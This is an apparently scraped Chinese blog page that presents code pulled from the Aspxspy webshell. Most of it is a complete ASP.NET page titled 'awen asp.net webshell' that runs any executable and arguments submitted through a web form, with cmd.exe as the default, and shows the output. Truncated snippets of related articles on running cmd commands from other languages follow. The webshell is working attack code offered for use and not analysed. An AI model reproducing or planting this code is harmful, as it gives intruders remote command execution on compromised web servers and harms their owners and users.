Aspxspy中提取执行cmd命令的代码

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">
protected void FbhN(object sender,EventArgs e)
{
try
{
Process ahAE=new Process();
ahAE.StartInfo.FileName=kusi.Value;
ahAE.StartInfo.Arguments=bkcm.Value;
ahAE.StartInfo.UseShellExecute=false;
ahAE.StartInfo.RedirectStandardInput=true;
ahAE.StartInfo.RedirectStandardOutput=true;
ahAE.StartInfo.RedirectStandardError=true;
ahAE.Start();
string Uoc=ahAE.StandardOutput.ReadToEnd();
Uoc=Uoc.Replace("<","&lt;");
Uoc=Uoc.Replace(">","&gt;");
Uoc=Uoc.Replace("\r\n","<br>");
tnQRF.Visible=true;
tnQRF.InnerHtml="<hr width=\"100%\" noshade/><pre>"+Uoc+"</pre>";
}
catch(Exception error)
{
Response.Write(error.Message);
}
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title> 
</HEAD>
<body >
<form id="cmd" method="post" runat="server"> 
<div runat="server" id="vIac">

 <p>路径:<br/>

 <input class="input" runat="server" id="kusi" type="text" size="100" value="c:\windows\system32\cmd.exe"/>

 </p>

 参数:<br/>

 <input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100"/> <asp:Button ID="YrqL" CssClass="bt" runat="server" Text="Submit" OnClick="FbhN"/>

 <div id="tnQRF" runat="server" visible="false" enableviewstate="false">

 </div>
</div>
</form>
</body>
</HTML>
时间: 2024-08-06 11:55:55

Aspxspy中提取执行cmd命令的代码的相关文章

[C#] C#代码执行cmd命令

引入命名空间 using System.Diagnostics; 具体方法实现 1 class Cmd 2 { 3 private static string CmdPath = @"C:\Windows\System32\cmd.exe"; 4 /// <summary> 5 /// 执行cmd命令 返回cmd窗口显示的信息 6 /// 多命令请使用批处理命令连接符: 7 /// <![CDATA[ 8 /// &:同时执行两个命令 9 /// |:将上一个

.Net执行cmd命令

using System;using System.Collections;using System.Configuration;using System.Data;using System.Linq;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.HtmlControls;using System.Web.UI.WebControls;using System.Web.UI.W

[转]Delphi执行CMD命令

今天看到有人在问用代码执行CMD命令的问题,就总结一下用法,也算做个备忘. Delphi中,执行命令或者运行一个程序有2个函数,一个是winexec,一个是shellexecute.这两个大家应该都见过,其中,winexec比较简单,可以直接运行一个外部程序,shellexecute则更高级一些,除了可以运行外部exe,还可以执行特殊命令. 下面我们就分别举例子说明:我们先来看看运行一个exe程序,以记事本为例: WinExec(PChar(' notepad .exe'),SW_NORMAL)

Atitit.执行cmd 命令行 php

Atitit.执行cmd 命令行 php 1. 执行cmd 命令行,调用系统命令的基础 1 1.1. 实际执行模式 1 1.2. 空格的问题 1 1.3. 中文路径的问题,程序文件读取编码设置 1 1.4. 回显乱码 2 2. exec,system等函数调用系统命令 2 3. php.ini,关掉安全模式safe_mode = off 3 4. 参考 3 1. 执行cmd 命令行,调用系统命令的基础 1.1. 实际执行模式 Processmonitor 检查.得到.. PID: 115372,

ant中提取properties和xml提高代码复用性

本文接着上文对前面的示例进行优化,在前面的build.xml中,有些代码是重复的,我们可以将其抽象出来拿来共同使用,比如将一些路劲提取出来放入properties,可以达到共用的同时,还可以增强程序的可维护性,以后路劲变了只需改配置文件,不用改动build.xml.properties维护简单,以键值对形式存放:而xml不单可以提取属性,还可以提取target. 比如在上文中可以将src1,src2,src3的路劲提取出来,放入properties,以后要是路劲变了,直接更改properties

java执行cmd命令并获取输出结果

1.java执行cmd命令并获取输出结果 1 import java.io.BufferedReader; 2 import java.io.InputStreamReader; 3 4 import org.apache.commons.lang3.text.StrBuilder; 5 6 /** 7 * 8 * @author user1 9 */ 10 public class DeleteProgram { 11 public static void run() { 12 Runtime

Python利用多线程定时执行cmd命令关机

利用os模块可以执行cmd命令,利用这一点可以实现定时关机,然而在等待关机的过程中也不能啥都不干,于是多线程派上了用场. #! /usr/bin/env python #coding=utf-8 #这里需要引入三个模块 import time, os, sched, easygui, thread # 第一个参数确定任务的时间,返回从某个特定的时间到现在经历的秒数 # 第二个参数以某种人为的方式衡量时间 schedule = sched.scheduler(time.time, time.sle

执行cmd命令

说明:主要代码是从 http://tieba.baidu.com/p/3214053453 抄录的 Demo下载:https://git.oschina.net/xieyimo9/zhixingcmdmingling.git 主要思路: { 建立两条管道,一条负责从程序(进程)往新建立的cmd进程传信息,另一条则反过来,从cmd进程传信息给程序 程序通过 WriteIn 写入,cmd进程 从 ReadIn 读到程序写入的信息 cmd进程 的返回值或错误通过 WriteOut 写入,程序从 Rea

java 执行 cmd 命令(转)

原文出处:http://blog.csdn.net/saindy5828/article/details/11975527 用JAVA代码实现执行CMD命令的方法 java的Runtime.getRuntime().exec(arstringCommand)可以调用执行cmd指令. public class Cmd{ public void execCommand(String[] arstringCommand) { for (int i = 0; i < arstringCommand.le